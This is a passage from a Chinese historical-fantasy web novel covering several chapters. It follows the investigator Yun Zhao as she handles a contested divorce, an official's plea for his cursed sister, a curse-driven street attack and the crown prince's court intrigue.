若没个顶事的男人在场,那份和离书,险些就被你那黑了心肝的父亲当场塞进嘴里,吞吃下肚了!”
严嬷嬷大约是当年在长公主身边禀报惯了秘辛,此刻讲起方才发生的事,声情并茂,绘声绘色,让人如临现场——
原来,姜世安随苏氏抵达京兆府时,起初一切如常。
行经府内一处廨房时,却听得里头两名衙役低声议论什么熙园、不行了一类的话。
姜世安当即驻足,厉声追问熙园如何。那两名衙役如何敢多嘴,立刻噤若寒蝉。
然姜世安并非蠢人,电光石火间已然想通关窍——
若熙园一切如常,区区京兆府衙役,岂敢妄议亲王园邸?
若永熙王安然无恙,云昭岂能提前折返姜家,更遑论获得陛下圣旨,赐婚秦王?
他猛地扭头看向苏氏。
苏氏面上虽未显露分毫,但姜世安已然断定,她们母女早已知晓永熙王出了变故!
今日回府种种言行,皆是做戏,另有目的!
想通此节,姜世安面目陡然扭曲,竟猛地从袖中抽出那份墨迹未干的和离书,揉成一团就要往嘴里塞!
千钧一发之际,卫临眼疾手快,劈手夺回!
随即与苏氏一同疾步冲至主理民间讼状、婚书离合之事的户曹参军面前。
不等姜世安再度扑上抢夺,那两份和离书,连同三房那份分家文书,已被用力盖上京兆府朱红大印,录入官牒,归档存证。
苏氏此时方缓过气来,看向卫临,眼中带着真挚的感激:“今日真要多谢驸马。”
卫临微微摆手,神色间
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并无得色。
云昭眸光冷冽:“姜世安之后又是何反应?”
“一路骂骂咧咧出了京兆府,”苏氏语气平淡,却难掩一丝后怕,“今日若非驸马护持,我与严嬷嬷恐难轻易脱身。”
严嬷嬷立刻附和,拍着胸口道:“可不是!老奴我可瞧得真真儿的,姜大人离开时,那眼眶都红了,怕是又气又恨,还闪着泪花呢!”
云昭闻言,唇角勾起一抹冰冷的弧度:“这就闪泪花了?”
若让他知晓,往后的日子只会一日较一日艰难,不知他是否会痛哭流涕,悔不当初?
她转眸,见一旁的卫临虽沉默伫立,眼尾却泛着红,神情郁郁,显然仍深陷于嘉乐郡主早夭的悲痛之中。
云昭沉吟片刻,缓步上前,对他低语了一句。
卫临闻言,霍然抬首,眼中满是惊愕与难以置信。随即,那惊愕化作一丝难以言喻的悸动,竟连耳根都迅速漫上绯红。
他声音带着不易察觉的颤抖,几乎是语无伦次地问:“当、此事……当真?”
云昭神色平静,语气却带着一种不容置疑的笃定:“长公主与宝珠,尚有一段母女缘分未圆。”
她略作停顿,故意将话说得玄妙,“也就是说,不论父亲是谁,只要长公主命格中的女儿星曜再次点亮,降世的,必定还是……”
云昭故意将话只说一半,但卫临已然反应过来,猛地朝她拱手一礼。
之后竟是连昭明阁的门都不进了,直接转身,步履匆匆地奔向自己的坐骑,翻身上马,绝尘而去!
那背影,竟透着几分少年人的急切与雀跃,与方才的沉郁判若两人。
严嬷嬷看得目瞪口呆,半晌才咂咂嘴:“哟!上一次见驸马爷露出这般神情,还是当年与殿下新婚前夕,等着迎亲的时候……”
几人都不由好奇地看向云昭,想知道她究竟对驸马说了什么。
云昭却已转身,率先迈过昭明阁那光洁的门槛,声音随风轻轻传来,带着一丝莫测的深意:
“我只是告诉他,长公主命里注定还有一个女儿,而她与宝珠的母女缘分,远未到尽时……”
严嬷嬷最先反应过来,眼睛倏地一亮,喜色爬上眉梢:“姑娘的意思是,长公主若将来再有孕……”
她双手合十,几乎要念出声佛号。
苏氏闻言,眼底不由蔓上一抹真切的笑意,真好啊。
孩子是母亲对未来的希望,若能再添一个孩儿,多少能抚平长公主内心伤痛。
而宝珠……那个可怜的孩子,若真能以这种方式重享父母疼爱、承欢膝下之乐,亦是天大的福报。
云昭并不再接话。
因为远远地,她就在庭院中,瞧见一道不速之客的身影。
那人一袭白衣,却皱褶不堪,正焦虑不安地在前院那株老梅下反复来回踱步,胡子拉碴,神色惊惶,哪还有半分此前斯文清雅的模样。
竟是有些时日未见的大理寺卿——白羡安!
第119章 当着全城百姓的面认错!
见到云昭,白羡安快步走来,行了一个极为郑重的官礼:
“见过玄察使大人。”
他微微抬眸,目光落在云昭沉静的面上,“白某深知此前多有冒犯,不得**颜相求。恳请大人不计前嫌,救舍妹一命!”
云昭神色冷淡:“白大人果然手眼通天,陛下刚下的旨意,你这头便已得了风声。”
永熙王伏诛之事,京城尚未传开,白羡安却能第一时间精准候在此处,足可见其消息灵通。
白羡安低垂着脸:“白某惭愧。事关永熙王一事,白某已向陛下密奏陈情,坦白曾受其胁迫。陛下念微臣迷途知返,亦有戴罪立功之心,特准留任大理寺卿,协理玄察司查办相关余孽。”
他顿了顿,声音更低,“至于舍妹,想来玄察使神通广大,定有回春妙法。”
云昭心中冷笑。
这玄察司的名头,听起来威风,可咱们这位圣上的赏赐,从不是那么好拿的。
这不,这才第一天,麻烦就主动送上门了!
或许在皇帝眼里,只要能借此扳倒一个永熙王,收回其封地和那条玄铁晶矿脉,便已是最大的胜利。
至于白羡安这等曾与永熙王有所勾连的官员,只要其罪不涉谋逆,尚有才干可用,便不会轻易舍弃,反而会物尽其用。
可凭什么?
若没有像白羡安这样的官员,为一己之私包庇纵容,永熙王岂能猖獗至此?青莲观内,又岂会埋藏那么多无辜少女的冤魂?
这样的人,仅因“有才”,便可继续高居庙堂,甚至他的家人,还能比寻常百姓先享受来玄察司求救的特权!
云昭冷漠地看着白羡安。
而白羡安也在这时抬起脸,眸色深沉地与云昭对视:“还请玄察使大人,秉持公义,救救舍妹性命!白某……自当感激不尽,日后必当结草衔环以报!”
云昭缓缓开口,声音里听不出喜怒:“听白大人此言,若我今日救不活令妹,陛下莫非还要治我个办事不力之罪?”
白羡安瞳孔猛地一缩。
一直静立一旁的萧启此时冷声开口:“谁敢治你的罪?”
他转向云昭,语气带着不容置疑的维护,“玄察司是你的,此案你想接便接,不想接,无人敢强迫。”
白羡安惶然躬身:“秦王殿下明鉴,下官绝无逼迫之意!实在是陛下曾言,司主有洞察幽冥、逆转生死之能,下官此来,是真心实意恳请司主大人救命!”
说罢,他竟真的撩起官袍下摆,“噗通”一声跪在青石板上,朝着云昭重重叩了三个响头,额角瞬间一片青红。
云昭只觉得讽刺。
这些勋贵官宦,安王妃是如此,眼前的白羡安也是如此。
平日高高在上,唯有到了山穷水尽、寻常医者回天乏术之际,才会放下身段,来求她这个他们曾经轻视甚至打压的“江湖术士”。
“白大人,”云昭的声音清越如玉石相击,“你可曾听闻,我行医问卦,有三不看。”
“一眼看上去救不活的,不看;
跟我有仇的,不看;
病因蹊跷、来历不明者,亦不看。”
白羡安的脸色渐渐变得惨白。
云昭不再看他,径直越过他跪伏的身影,朝昭明阁内走去。
“若我说!”白羡安猛地抬头,冲着云昭的背影嘶声喊道,“顺着舍妹这条线,能揪出‘桃花咒’一案的真正元凶呢?!玄察使大人也不愿看吗?!”
云昭脚步一顿,侧过半张脸,眸光深邃:“白大人,或许你久居官场,习惯了以利益相诱,以权势相迫,逼得旁人不得不退让妥协。但这世间,并非只有你那一套道理行得通。”
白羡安简直要被云昭逼疯了!
他再也顾不得官身体统,竟膝行数步,再次拦在云昭面前,仰起头,眼中是前所未有的狼狈与恳求:“那你告诉我!究竟要如何……你才肯出手救我妹妹?!”
云昭抬眸,目光与一直关切望着这边的苏氏短暂交汇,随即落回白羡安脸上,语气淡漠:
“简单。白大人只需在明日午时,于京兆府门前,当着全城百姓与往来勋贵的面,亲口言明——
当日在京兆府公堂之上,你逼问我与母亲,是挟私报复,是你白羡安心存偏私,罔顾法纪!而你,如今知错了!”
白羡安如遭雷击,他猛地站起身,声音因极致的震惊与愤怒而颤抖:
“你……你这是要毁我官声,断我前程?让我从此成为满朝文武的笑柄,再无立足之地?!”
云昭冷声道:“话我已经说了,至于要怎么做,全在白大人自行抉择。”
说完,云昭脚步未停地朝前走去。
一直在一旁静观事态的常公公,叹了口气道:“白大人,杂家说句不中听的话。秦王妃……哦不,司主大人这已是给了您一条明路走了。”
“人家要的,是您对当日不公之举的一个诚恳认错,还受害者一个公道清白,并未让您牵扯其他,透露不该说的。白大人平日最是机敏通透,怎么事到临头,反倒想不开了呢?”
白羡安僵立在原地,脸上青白交错,神色变幻不定,内心显然在进行着激烈的天人交战。
常公公都把话说到这个份上,其意不言自明——
陛下早已料到他会来求云昭,也早已知晓云昭会提出何种条件。
此等当众折辱,摧毁他经营多年的官威与体面,才是陛下对他真正的、也是最为痛苦的惩罚!
要他当着全京城勋贵百姓的面,向一个年仅十六岁的少女低头认错?
要他亲口承认自己当初在公堂之上,是故意针对,是有心徇私?
经此一事,他这大理寺卿还有何威信?日后还有何颜面审案断狱?
常公公见白羡安仍是这般挣扎不甘的神色,摇了摇头,不再多言,转身跟上已然走入昭明阁的云昭与秦王等人。
人呐,往往就是如此,得到的越多,便越是贪婪,越是舍不得。
想当年他白羡安,不过一介寒门学子,三餐不继,全赖今上赏识提拔,一步步从微末小吏走到今日地位。
他也曾夙兴夜寐,侦破疑案无数,立下不少功绩,方能年过三十而立,便执掌大理寺。
可惜,人最容易忘本。
谁能想到,当年那个吃着残羹冷炙、发奋苦读的白羡安,有朝一日,会如此轻易地便与永熙王那等国之蠹虫沆瀣一气呢?
*
昭明阁是一座三层的独立楼阁,飞檐翘角,气派不凡。黑檀木的匾额上,“昭明”二字铁画银钩,据闻是陛下亲笔。
一层为开阔的厅堂,用以会客及处理日常公务;二层则是玄察司核心人员议事、存放卷宗档案之所;三层则是云昭的居所与静修之地,闲人免进。
云昭步入阁内,但见窗明几净,陈设雅致而不失威严
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,一应家具物什皆已摆放妥当,显然是常公公早已派人精心布置过。
李灼灼一听说云昭去了苏府,立刻凑过来,挤眉弄眼地问:“喂,你去苏家,可见到那位‘嬛嬛’姑娘了?”
忙了一上午,云昭接过侍女奉上的清茶,浅呷一口,抬眸问道:“她很有名?”
“何止有名!”李灼灼顿时来了精神,“你这位表姐苏玉嬛,从前在京城贵女圈里,可是风头无两的人物。琴棋书画样样精通,尤其诗才,很受追捧。
苏家式微后,她就渐渐不怎么在大型宫宴上露面了。但是!”
她话锋一转,神秘兮兮地说,“她们私下有个小圈子,都是京城顶尖的才女,每年办的诗会、雅集,在文人墨客间口碑极佳,连宋白玉都是她们那个圈子里的核心人物呢!”
“宋白玉……”云昭沉吟片刻,问道,“说起来,这次丹阳郡公府的赏荷宴,似乎并未见到她?”
李灼灼撇撇嘴:“听说自佛诞日从碧云寺回府后,就称病不出了。至今都未曾在外间露过面。”
云昭眸光微闪,是真的病了,还是那日她破除了绾棠身上咒术,导致施咒者受其反噬?
她不禁想起姜绾心那张突然恢复光洁、甚至更胜从前娇艳的脸庞……
那晚,她分明拒绝了梅柔卿的求救,但姜绾心的脸还是好了,想来梅氏定然是用了某种非常手段。
只是不知,这等“非常手段”,背后究竟隐藏着怎样的代价?
而此时,尚书府后院。
姜绾心正端坐于梳妆台前,对着菱花镜,细细端详着镜中那张毫无瑕疵、艳光四射的脸庞,唇角勾起一抹志得意满的弧度。
她回首看向梅柔卿道:“多亏娘亲妙手,让我恢复如初!”
梅柔卿凝视着镜子里女儿娇艳的容颜:“太后娘娘突然召你入宫,心儿,你定要把握住机会,趁早将东宫婚事彻底定下。这样,绾宁这番苦楚,也不算白白付出。”
梅柔卿身后,一道身穿浅黄色衫子的身影倒在地上。
姜绾宁周身皮肤红痒溃烂,布满了可怖的抓痕,即便在昏迷中,身体仍因难忍的痛痒而微微抽搐。
她双唇干裂,意识迷迷糊糊,仍在低喃:“你们……好狠的心……梅姨,你是我娘的嫡亲表姐,怎能如此待我……”
梅柔卿俯身,将她额前被冷汗浸湿的发丝轻柔地捋到耳后:“绾宁,姨母也是实在没办法。谁让那姜云昭心思歹毒,在心儿身上下了如此恶咒。
她浑身痛痒难当,那些压制咒力的丹药,药性猛烈,最是伤身……
姨母也是万般无奈,才不得不让你替你姐姐分担一二。你要体谅姨母的苦心啊。”
一旁的姜绾心慢条斯理地接口:“好妹妹,你且再忍耐些时日。
待姐姐我入了东宫,成了太子妃,定求殿下派出身边最得力的高人,先解了你身上的苦楚,再将姜云昭那个**剥皮抽筋,替你出了这口恶气!”
一滴浑浊的泪水从姜绾宁红肿的眼角滑落,她终是支撑不住,彻底陷入了黑暗。
厢房门外,一道瘦小的身影如遭雷击般僵在原地——
正是年仅十岁的姜珏。
他将屋内对话听了个分明,稚嫩的脸上血色尽褪,眼中充满了惊骇。
他死死捂住嘴,不敢发出一丝声响,旋即如同受惊的兔子般,踉跄着快步退入廊柱的阴影中。
第120章 苏家表兄遇害
昭明阁。
白羡安临走前留下的那封手书,被云昭随手置于案几一角。他承诺明日午时,会当着全城百姓的面公开认错,只求云昭信守承诺,救治他的妹妹。
与常公公等人一同用过午膳,和英国公夫人商定了去府上为灼灼祛邪的日子,云昭总算得些空闲,开始整理一些手头的活计。
近来朱砂和黄符损耗极大,需要大量采买;包括各种可能会用到的丹药等物,辟邪、清心、护体乃至解毒,皆需她亲手炼制。
幸而莺时此前跟着她打下过手,如今又添了做事麻利的孙婆子,云昭总算能腾出手,好好研究一番那件从姜绾心手中得来的“蜃楼蝉翼”。
蜃楼蝉翼是件宝物,但到底此前是邪师持有,用的方向就非正道。云昭思考良久,再结合那日在郡公府借此物制造幻境困敌的心得,最终决定化整为零,重新炼化成多枚灵光暗器。
接连不断的危机,如同悬在头顶的利剑,让云昭时刻不敢松懈。
这一世她虽侥幸觉醒了玄瞳之术,脑海中苏醒的《万咒典》也足以让她精通古今禁术。但近来诸多经历无不昭示,京城卧虎藏龙,精通术法者,绝不止她一人。
“叩叩——”
门被推开,影七无声走入,将一副古朴卷轴双手奉上:“主子,福伯命人送来的,竹山书院堪舆图。”
云昭接过,并未立即展开,只目光扫过桌角一个不起眼的木盒,淡声道:
“将此物交给福伯。告诉他,入夜之后,毋需点灯,手持此物,带可靠之人在王府各处细细巡查一遍。若府内藏有任何不妥,此物必有昭显。”
那是她方才利用手头材料紧急制成的“窥邪珠”,珠内封有一缕她的玄力,对阴邪之气感应极为敏锐。
萧启体内七玄钉未除,她无法时刻看顾,有此物在,福伯等普通人亦可自行初步排查隐患。
影七领命,双手捧起木盒,如来时般悄无声息地退下。
云昭这才缓缓展开那幅竹山书院的堪舆图,山川屋舍,脉络清晰,她的目光沉静,逐寸扫过。
云昭打开竹山书院的地图,细细看了起来。
“姑娘,歇息片刻,用些点心吧。”雪信端着托盘进来,上面摆着一碟精巧点心,香气诱人,“是我娘刚做的,您尝尝。”
晌午时,云昭让雪信去了京兆府,将已调理得差不多的惠娘接来昭明阁。
经过这段时间的用药与施针,惠娘虽仍怕见生人,言语不多,但神智清明,日常起居已与常人无异。
云昭拈起一块点心,见其形制精巧,竟与今日在苏府所见德馨斋的“五常饼”有几分神似,不由讶异:“这般精巧的点心,是惠娘的手艺?”
雪信眉眼弯弯,带着几分自豪:“我娘说,我外公早年便是经营点心铺子的,后来铺子关了,手艺却传了下来。娘没病之前,常在城里的点心铺子帮工呢。”
云昭掰开点心看了看,心中微动,吩咐道:“去请惠娘过来,我有件事想拜托她。”
不多时,惠娘便跟着雪信来了。她穿着一身浆洗得有些发白的旧衫,面容虽带憔悴,眼神却清澈安静。
见到云昭,她有些局促地在围裙上擦了擦手,恭敬地福了一礼:“司主大人。”
云昭语气温和:“惠娘,有件事需劳烦你。若做得好,往后便专司昭明阁的点心茶水,每月领二两银子的月奉,四季皆有新衣份例,年节另有赏赐。你可愿意?”
惠娘听得连连摆手,神色惶恐:“司主大人对我们母女恩重如山,能为您做事,我心甘情愿,不要报酬!”
云昭也不多劝,只道:“报酬是该得的。我想请你仿制一碟德馨斋的‘五常饼’,只是内里的馅料,需添些东西进去。”
她又转向雪信:“你这便去德馨斋,将他们铺子里各色时兴的糕点都买些回来,尤其是五常饼,多买几套。取一套完整的给你娘做参详,余下的,分给阁里的大家尝尝。”
雪信利落地应了一声“是”,惠娘也连忙行礼,母女二人不敢耽搁,匆匆退下办事去了。
云昭正欲再将注意力放回地图上,却听脚步声急响。
“主子,出事了!”影七快步闯入,神色凝重,“李副将派人传来消息,苏校尉当街**!而行凶者……是白大人的妹妹,白慕宁!”
苏校尉,指的是苏家二房双生子中的弟弟,苏惊澜。
云昭霍然起身:“备车,速去!”
她脸色瞬间沉下。苏惊澜身上有她亲手所绘的平安符,即便遇险,也该逢凶化吉。
而白慕宁身上,同样有她当初让雪信送去京兆府,用以压制桃花咒的符箓。即便她今日未曾前去诊治,那符也当能护她一时无恙。
可如今,偏偏是这两个身怀她符咒之人,同时出了意外!
云昭赶到时,李副将已将苏惊澜就近安置在回春堂的医馆。
他迎上来,快速禀报:“因苏老大人之事,苏校尉下午一直带人搜寻刘大夫踪迹,不料在此附近,当街被白慕宁袭击!”
他顿了顿,眉头紧锁,“胸口外伤,大夫已处理过了,并无性命之忧,但不知何故,一直昏迷不醒。”
几乎是前后脚,白羡安也跌跌撞撞冲了进来。
他眼眶通红,见到云昭,如同抓住救命稻草:“司主给的那张符,我一直让阿宁贴身戴着,从不离身!
今日她说想上街买些胭脂水粉,我便陪着……可方才,她、她突然扯断颈间红绳,将符箓扔进了街边滚沸的油锅!
然后就像变了个人,直直朝着苏校尉冲了过去……”
李副将在旁补充,心有余悸:“当时我们几个弟兄都在,合力竟都拦不住**一介弱质女流,那力气……大得骇人。”
云昭心念电转,立刻做出判断:“先看白慕宁!”<
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br>她快步走向一间由兵士严密把守的厢房。
几乎在房门打开的刹那,一道樱粉色身影带着一股不祥的腥风,张牙舞爪地猛扑出来!
“阿宁!”白羡安见状便要上前阻拦。
云昭却反手将他用力推开,同时腕间一抖,一道银色软鞭如灵蛇般卷出,精准地缠上来人脖颈,将其制住!
眼前的“白慕宁”,哪还有平日半分娇弱模样?
她面容扭曲,一双眼睛只剩下眼白,布满血丝,嘴角咧到一个非人的弧度,涎水混着暗红色的血沫顺着下巴滴落。
更可怖的是,她裸露在外的皮肤下,仿佛有无数根纤细的黑线在蠕动,凸起游走,发出令人牙酸的“窸窣”声。
不仅云昭脸色骤变,连一直跟在身边,准备帮忙的孙婆子都倒吸一口凉气。
这不是桃花咒!
云昭道:“是降头!有人当街对白慕宁下了降,以此操控她心神,令其化为只知杀戮的傀儡!”
她话音未落,一旁孙婆子已眼疾手快,将一张下午新制的镇魂黄符,“啪”一声拍在白慕宁眉心。
符箓触及皮肤的刹那,金光骤然大盛,如同灼热的烙铁烫入阴秽。
白慕宁疯狂挣扎的身影猛地一僵,周身游走的黑线仿佛被无形之力扼住,发出细微却刺耳的“滋滋”声。
随即,她眼白一翻,软软瘫倒在地,彻底失去了意识。
白羡安目睹这诡异骇人的一幕,浑身颤抖,目眦欲裂:“是谁?是谁对我妹妹下此毒手!”
云昭手腕一抖,收回银鞭,目光锐利如刀,扫过在场众人,最终落在白羡安惨白的脸上:
“此人不仅清楚你今日行踪,更知晓**身中桃花咒,易于被邪术操控。”
白羡安如遭雷击,踉跄着后退一步,脸上血色尽褪:“是我害了阿宁!都是我……”
云昭却无暇在此听他忏悔。
她对降头术并不算精通,能迅速判断出白慕宁身上的降头,是因为她身上特征实在太过明显。
她转身,疾步走向安置苏惊澜的隔壁房间,一边命道:
“影七,即刻带人封锁回春堂!所有在场之人,一个不许放过,全部拿下细查!”
刘大夫就是回春堂的坐诊大夫,今日在他家中发现的那块木牌清晰写着:梁倾柱朽,文星坠尘;血脉尽断,方解吾恨。
事情未免太过巧合。
偏偏苏惊澜在追寻刘大夫踪迹时,于这回春堂附近遇袭。
若对苏家、对苏惊澜下手之人真是刘大夫,他一个避祸潜逃的医者,又如何能精准掌握白羡安兄妹的行踪,并恰好利用身中桃花咒、易于操控的白慕宁来行此一石二鸟之计?
云昭指尖拂过苏惊澜紧闭的眼睑,感受着他微弱的脉搏,脑中思绪飞转,一个冰冷的推论逐渐清晰——
除非,这刘大夫,根本就是桃花咒一案,那幕后真凶的同党!
第121章 萧启是不是今上的种!
半个时辰前,东宫,临湖水殿。
殿内四面的竹帘皆已卷起,水面上荷花的清气与殿内冰鉴散出的丝丝凉气交织在一起,却丝毫驱不散太子眉宇间的燥郁。
“砰——!”
太子萧鉴将手中那方上好的和田玉螭龙镇纸狠狠掼在青玉案上,温润如玉的脸上此刻阴云密布,青筋在额角隐隐跳动:
“萧启求了圣旨,要娶姜云昭为正妃?”
他声音像是从齿缝里挤出来,带着灼人的怒气,“这是何时的事?!”
拂云头垂得更低,声音谨慎:“回殿下,宫里刚传出的消息,说是今日清早,秦王殿下入宫面圣后,陛下亲自下的旨。”
“清早……”太子猛地站起身,广袖带翻了案几上的越窑青瓷茶盏,碎裂声刺耳。
一片飞溅的瓷片擦过拂云的脸颊,瞬间留下一道血痕,她却纹丝不动。
“父皇不肯见孤,却肯见萧启!到底谁才是他的亲生骨肉!”
他在殿内来回疾走,绣着金**的薄绸夏袍被风吹得鼓起,“父皇是不是老糊涂了!萧启有什么?一个死得不明不白的短命爹?一个悬梁自尽的疯癫娘?”
他倏地停下,阴戾的目光如**般刺向躬身屏息的灵峰与拂云,“你们说,孤哪一点比不过那个父母双亡的孽种?!”
灵峰与拂云二人齐刷刷躬身,声音紧绷:“殿下乃国之根本,天纵圣明,秦王万般不及!”
太子闻言,喉间溢出一声冰冷的嗤笑,缓缓在蟠龙榻上坐下,方才的狂怒竟奇迹般地从脸上褪去,只余一片令人胆寒的平静。
“孤知道,孤纵有经天纬地之才,也比不过萧启在父皇心中的位置。”他声音低沉,却带着蚀骨的寒意,“就因为……他是那个女人的儿子!”
太子这话是涉及皇室秘辛了!
灵峰与拂云将头埋得低低的,简直恨不得没长耳朵!
太子阴森的目光转向拂云:“拂云,你自小跟着孤,依你看,萧启的容貌……可像父皇?”
拂云强行压下心中的惊涛骇浪,稳住声线:“秦王殿下英武过人,但龙章凤姿,终究不及殿下……”
“孤要听实话!”太子猛地指向她,厉声打断,目光又倏地转向灵峰,带着一种近乎偏执的探究,
“萧启他……有没有可能,根本就是父皇与那个女人悖逆人伦所生?!”
灵峰喉结滚动,低声道:“殿下明鉴,秦王出生之时,先皇尚在……”
“哈哈……哈哈哈!”太子像是听到了天大的笑话,骤然爆发出一阵癫狂的大笑,笑声在空旷的水殿中回荡,压过了窗外的蝉鸣,
“孤的好父皇,连弑兄逼宫的事都做得出来!侵占寡嫂又算得了什么?!
历来成王败寇!昔年太宗皇帝尚有玄武门之变,后世谁不赞其贞观之治?父皇做的,比太宗更隐晦,更彻底!这世上,还有什么事是他做不出的!”
“殿下!”拂云与灵峰“噗通”跪地,膝盖触及微凉的金砖:“先皇是急病而薨!”
“急病而薨?”太子笑得前仰后合,状若疯魔,“好一个急病而薨!天下人谁不知其中有鬼,偏偏拿不出证据!”
他笑声戛然而止,眼神变得幽冷,“玉衡**曾断言,萧启是个短命鬼,绝活不过廿五之龄!
不论大伯是不是他亲手所杀,但这江山终究是从节愍太子(指先皇太子,萧启兄长)一脉夺来的!
孤真想看看,当他目睹萧启死在他面前时,会是何等神情!”
他忽又敛去所有情绪,指着殿外,语气恢复平日的温雅,却更令人毛骨悚然:“速去,请玉衡**来见孤。”
拂云不敢去擦脸上的血,低应一声“是”,迅速退了出去。
不多时,她折返殿内,手中捧着一枚玄色锦囊:“殿下,**不在丹房,只在桌上留了此物。”
拂云身后,跟着一位身着青色道袍的少女,低垂着眼行礼道:“无量天尊。**法谕,命小道玄明,随侍殿下左右,听凭差遣。”
太子一把抓过锦囊,扯开,里面只有一张薄薄的纸条。
他展开一看,上面是熟悉的、带着道韵的笔迹:
「竹山书院,施恩苏氏,可收清流之心,亦掌今科文脉。」
太子指尖捻着纸条,若有所思。
他走到铜盆前,就着拂云默默端来的温水,慢条斯理地净了手,又用雪白的松江棉巾细细擦拭着每一根手指,仿佛刚才的暴怒从未发生。
拂云适时地递上一杯温度恰到好处的庐山云雾。
太子端坐回案后,轻呷一口香茗,神色已恢复了一贯的温雅从容,唯有眼底深处残留的一丝猩红,泄露着方才的惊涛骇浪。
“前些日子,宫里确有风声,说陛下有意起复苏文正,重掌文教。”太子沉吟道。
灵峰适时接话:“殿下,竹山书院虽七年未出进士,但今年适逢陛下六十万寿,特开恩科,秋闱在即,正是用人之际。苏老大人门生故旧遍布朝野,若能……”
太子抬眼看向灵峰,“让你去查竹山书院本届学子底细,如何了?”
“回殿下,书院现有学子二十七人。其中七人堪称俊才,经义策论俱佳;三人尤为出众:苏惊墨,乃苏老大人亲孙,经义扎实;另有余杭才子陈望,诗赋一绝;还有寒门子弟赵拙,策论鞭辟入里。
此三人,皆是今科秋闱有望折桂的苗子。”
太子指尖轻敲桌面,发出笃笃的轻响:“孤明白了。**是让孤借此良机,将苏家乃至竹山书院未来的栋梁,一并纳入麾下。”
他忽然冷笑一声,眼中闪过讥诮,“孤就说,孤这位向来不近女色的好堂兄,怎会突然转了性子,向父皇求娶姜云昭那个煞星!”
他抬眼,目光锐利:“这是看中她身为苏文正外孙女这层身份了?”
拂云谨慎道:“殿下,姜云昭之母苏**,二十二年前便已与苏家断亲,此事京城皆知……”
“断亲?”太子漠然打断,语气带着一丝不耐,“那是你没见过苏文正当年如何将这个女儿视若明珠。
萧启此人,从不做无用之事。他既出手,必有深意。”
他语气中的嘲弄愈发明显,“难道你想告诉孤,孤这位冷面皇兄,是突然开了情窍,真心爱慕姜云昭不成?”
“更衣,备驾,去竹山书院。”
他站起身,展开双臂,任拂云为他更换常服,语气轻蔑,“一个成日画符施咒、银鞭不离手的江湖蛮女,做秦王妃?呵,倒也真是绝配!”
*
回春堂内。
云昭凝神静气,指尖轻轻搭在苏惊澜的腕脉上。
一旁须发花白的楚大夫见状,上前一步,低声道:“姑娘,老朽方才也已细查过,这位军爷体表并无致命外伤,内腑也未见剧烈震荡之象,这般昏睡不醒,实在蹊跷。”
他一边说,一边小心翼翼地解开苏惊澜的衣襟。
云昭目光扫过苏惊澜胸膛伤处,微微颔首:“楚大夫处理得极好,伤口并无恶化迹象。”
她眼风淡淡一扫,瞥向身后那位面色惶惶、不停搓手的回春堂朱掌柜:
“朱掌柜不必惊慌。我今日暂且封锁铺子,只为查明一桩要紧事,不会牵连无辜。待水落石出,铺子自会恢复如常,你的生意照做。”
朱掌柜如蒙大赦,连忙用袖子擦了擦额角不断渗出的冷汗,连声道:“是是是,小人明白!小人一定知无不言,言无不尽!”
“那刘大夫……他是从前日起就没来上工,本来前日该他坐堂,为此楚大夫还抱怨过人手不足。小人立刻派人去他家中寻找,却是人
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去屋空,邻里也说几日未见。我们、我们是真的不知道他背地里竟做出这等事啊!”
云昭耳听着朱掌柜絮叨,悄然运转玄瞳,凝神检视昏迷不醒的苏惊澜。
玄瞳视界下,只见苏惊澜眉心印堂处,凝聚着一缕极其古怪的灰黄色秽气,似烟非烟,似雾非雾,不断扭曲蠕动。
云昭还是头一回见这种东西,一时觉得新鲜,心念微动间,取出一根细长的银针,挑起一丝仔细观察。
这举动在旁人看来,无端且诡异。
然而,就在银针挑起秽气的刹那,苏惊澜紧闭的眼皮竟轻微地颤动了一下!
“这……这是要醒了?”
楚大夫不由惊讶地看向云昭,“姑娘方才所用,莫非是传说中能定魂安神、沟通阴阳的‘鬼门十三针’?”
鬼门十三针,云昭确实精通。但她刚才用的,纯粹是玄门探灵手法,顺手用了银针而已。
她并未解释,目光再次投向苏惊澜眉心——
令人心惊的是,就这么片刻功夫,那里竟又凝聚起一团更为浓郁的灰黄雾气!
这一次,云昭没有再借助银针。
她眸光一凛,五指微张,指尖萦绕着一层淡不可见的清辉,竟直接将那团蠕动的雾气生生抓摄而出!
“莺时,”她声音沉稳,“取一杯无根水。放入三粒净明砂,一钱桃木屑。”
莺时毫不迟疑,迅速依言照办,端来一杯清澈的水,其中净明砂与桃木屑已缓缓沉降。
云昭将手中那团挣扎扭动的灰黄雾气投入水中。
雾气遇水非但不散,反而迅速凝聚、变色,最终在水中显露出狰狞的原形——
竟是一团不断蠕动、细看之下由无数微小虫卵组成的活物!
这些虫卵与今日她从外祖父苏文正伤口处逼出的“尸蠊卵”气息同源,却又更为诡异,颜色灰黄,带着一种不祥的生机。
楚大夫凑近一看,倒吸一口凉气,骇然道:“姑娘,这……这究竟是何种邪物?!”
就在这一瞬间,云昭脑中灵光乍现,如同惊雷劈开迷雾!
苏惊澜重伤昏迷,白慕宁命悬一线,两件事同时发生,将她牢牢拖在回春堂——
这分明是个精心策划的调虎离山之计!对方真正的目的,仍是竹山书院和苏家!
但此刻她却万万离不得回春堂!
倘若她无法及时救醒苏惊澜,甚至让他死在此地,白日因她救治苏文正而关系稍有缓和的苏家,必将与她反目成仇!
若白慕宁在她接手后身亡,她不仅得罪了手握实权的大理寺卿,更是在陛下面前颜面扫地,让新立的玄察司和她这个司主沦为笑柄!
毕竟,这是她执掌玄察司后的第一桩案子!
好一招一石三鸟的毒计!
这背后布局之人,心思之缜密,算计之狠毒,令人脊背发寒!
既要让她与苏、白两家结怨,又要毁她新官上任的威信,而此时,竹山书院又会发生何事?
她猛地转向跟随而来的墨七,语速急而不乱:“你们殿下此刻是否还在书院?”
“回司主,殿下午后便亲往书院,言说今日是书院一年一度晒书、整理典藏的大日子,人员往来复杂,恐生事端,故而亲自坐镇,此刻应当仍在!”
电光石火之间,云昭心中已有决断。必须立刻分头行动!
既要保住眼前两人的性命,揪出回春堂内的线索,更要阻止书院可能发生的惨剧!
她深吸一口气,正欲下达指令——
“砰、砰、砰!”
回春堂紧闭的大门,却在此刻被不疾不徐地敲响。
紧接着,一道她绝不可能听错的女声带着几分不满与疑惑响起:
“**的,这回春堂的大门,为何关得如此严实?”
——竟是梅柔卿的声音!
第122章 押解梅柔卿游街
云昭的第一反应并非看向门口,而是眸光如电,骤然扫向屋内每一个人的脸!
她绝不会忘记,自己一直怀疑梅柔卿身后有个精通玄术的幕后之人,下午时她刚炼化的蜃楼蝉翼,就是出自此人之手!
她更不会忘记,前世那个藏身姜珩和姜绾心背后,屡屡想出各种阴毒法子折磨她的邪师!
